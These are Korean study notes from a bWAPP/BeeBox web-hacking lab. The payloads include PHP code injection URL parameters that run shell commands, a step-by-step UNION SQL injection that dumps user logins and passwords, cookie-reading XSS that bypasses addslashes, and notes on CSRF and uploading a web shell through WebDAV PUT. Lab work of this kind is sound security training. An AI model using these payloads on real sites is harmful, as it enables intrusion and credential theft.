BeeBox 실습
URL Injection
PHP Code Injection
아래 URL을 보면
message부분에 입력한 문자가 사이트에 그대로 출력되는데 이것을 이용한 공격이다.
?message=exec('pwd')
?message=shell_exec('whoami')
?message=system('pwd') // 두번 나옴
?message=passthru('ps -ef')
?message=passthru('cat /var/log/wtmp') // 로그 일부 확인 가능
?message=passthru('cat /var/log/dmesg')
와 같이 다양한 php 시스템 명령어를 이용하여 리눅스 명령어를 실행 시킬 수 있게 된다.
또한 이 취약점을 이용하여 Backdoor공격을 할 수 있다. (# Backdoor 공격 참고)
Select Injection(입력칸이 없고 선택만 하는 곳에서의 공격)
아래 URL을 보면
이렇게 PHP Injection 공격과 같이 URL에 검색 결과가 등장한다 이를 이용하여 공격하는 방식이다.
?movie=5 union select 1,login,password,4,5,6,7 from users을 입력하여 아래와 같이 정보를 얻을 수 있다.
DB, Table, Column 명은 Blind Injection을 참고하면 된다.
Select Injection(입력칸이 있는 곳에서의 공격)
Ch01) 컬럼개수 알아내는 법
1.
SELECT ?,?,?,? FROM ??? WHERE movie='' UNION SELECT 1 #
SELECT ?,?,?,? FROM ??? WHERE movie='' UNION SELECT 1, 2 #
SELECT ?,?,?,? FROM ??? WHERE movie='' UNION SELECT 1, 2, 3 #
SELECT ?,?,?,? FROM ??? WHERE movie='' UNION SELECT 1, 2, 3, 4 #
이런식으로 입력하여 Different Number of Columns라는 오류가 안나올 때까지 입력해본다. -> 컬럼수가 같을 경우 SELECT문이 실행되기 때문
2.
0' order by 1 #
0' order by 2 #
0' order by 3 #
이런식으로 입력을 하면 전보다 뒤의 SELECT문의 컬럼이 많을경우 오류가 발생하게 된다. 그럼 그 전 개수가 같은 컬럼수 인 것이다.
성공 시
Ch02) DB명을 알아내는 법
0' union select 1,database(),version(),version(),user(),6,7 # 을 사용한 결과(# 앞 0을 넣은 이유는 앞 SELECT문의 결과가 안나오게 하기 위해서 없는 데이터를 찾는다고 적은 것이다.)
Ch03) Table명을 알아내는 법
1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #을 사용한 결과
Ch04) Column명을 알아내는 법
1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users' #
Ch05) Data 알아내는 법
이제 모든 정보를 다 알았으니 그 안에 든 Data를 알아보자
1' union select 1,login,password,4,5,6,7 from bWAPP.users #
XSS

해당 빈칸에 1을 쳐주게 되면 이런식을 나오는데 이것을 이용해 스크립트 실행이 가능하다.
Low
<script>alert('good')</script> 를 치면 그냥 된다
Medium
$ cd /var/www/bWAPP
$ sudo vi xss_get.php

xss_check_4( )를 사용하고 있음을 알수가 있다.
functions_external.php 파일에 보안 수준에 따른 설정이 되어 있으니
$ sudo vi functions_external.php

xss_check_4 가 addslashes() 함수를 사용하는걸 볼수가 있다.
- addslashes 함수는 ', ", \, NUL 앞에 \를 붙여서 Escape처리해주는 함수이다.
- 따라서 <script>alert(9999)</script> 이런식으로 '' 를 뺴주고 사용을 하면 공격을 성공할수 있다.
<script>alert(document.cookie)</script> 을 치면 쿠키값이 나온다.

여기서 문자열을 넣고 싶으면 아스키코드를 치환해서 넣으면 된다.
<script>alert(String.fromCharCode(115,104,105,101,108,100,101,114,115))</script> 치면은

CSRF(Cross Site Request Forgery)
CSRF공격은 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버에게 어떤 요청을 보내는 공격이다.
위의 코드를 메모장으로 복사하여 수정후 .html 확장자로 변경하여 실행하면
와 같은 HTML파일이 열리게 되며 여기서 변경 시 변경 된다. 이 방법 외에 사용자가 클릭만 하면 변경되도록 할 수 있는데
와 같이 사용자가 like it 버튼만 누른다면 비밀번호가 변경되게 된다.
Insecure DOR (Order Tickets)
그 외 Proxy 도구를 이용하여 우회 가능
( # CMS : Contents Management System 가격이 변조되지 않았는지, 비정상적으로 처리되지 않았는지 확인하는 시스템 )
Direcroty Traversal - Directories
Direcroty Traversal - Files
Session Mgmt - Administrative Portals
Insecure WebDAV Configuration (Kali로 하는건 Kali에서 보기)
여기에 .php WebShell을 올리기 위해 Proxy도구를 이용한다. 인터셉트를 설정 한 후 새로고침을 하면
인터셉트를 성공했다면 요청 Method(GET)을 수정하여 자신이 원하는 방향으로 이끌 수 있음
PUT을 할 경우 파일 업로드가 가능해진다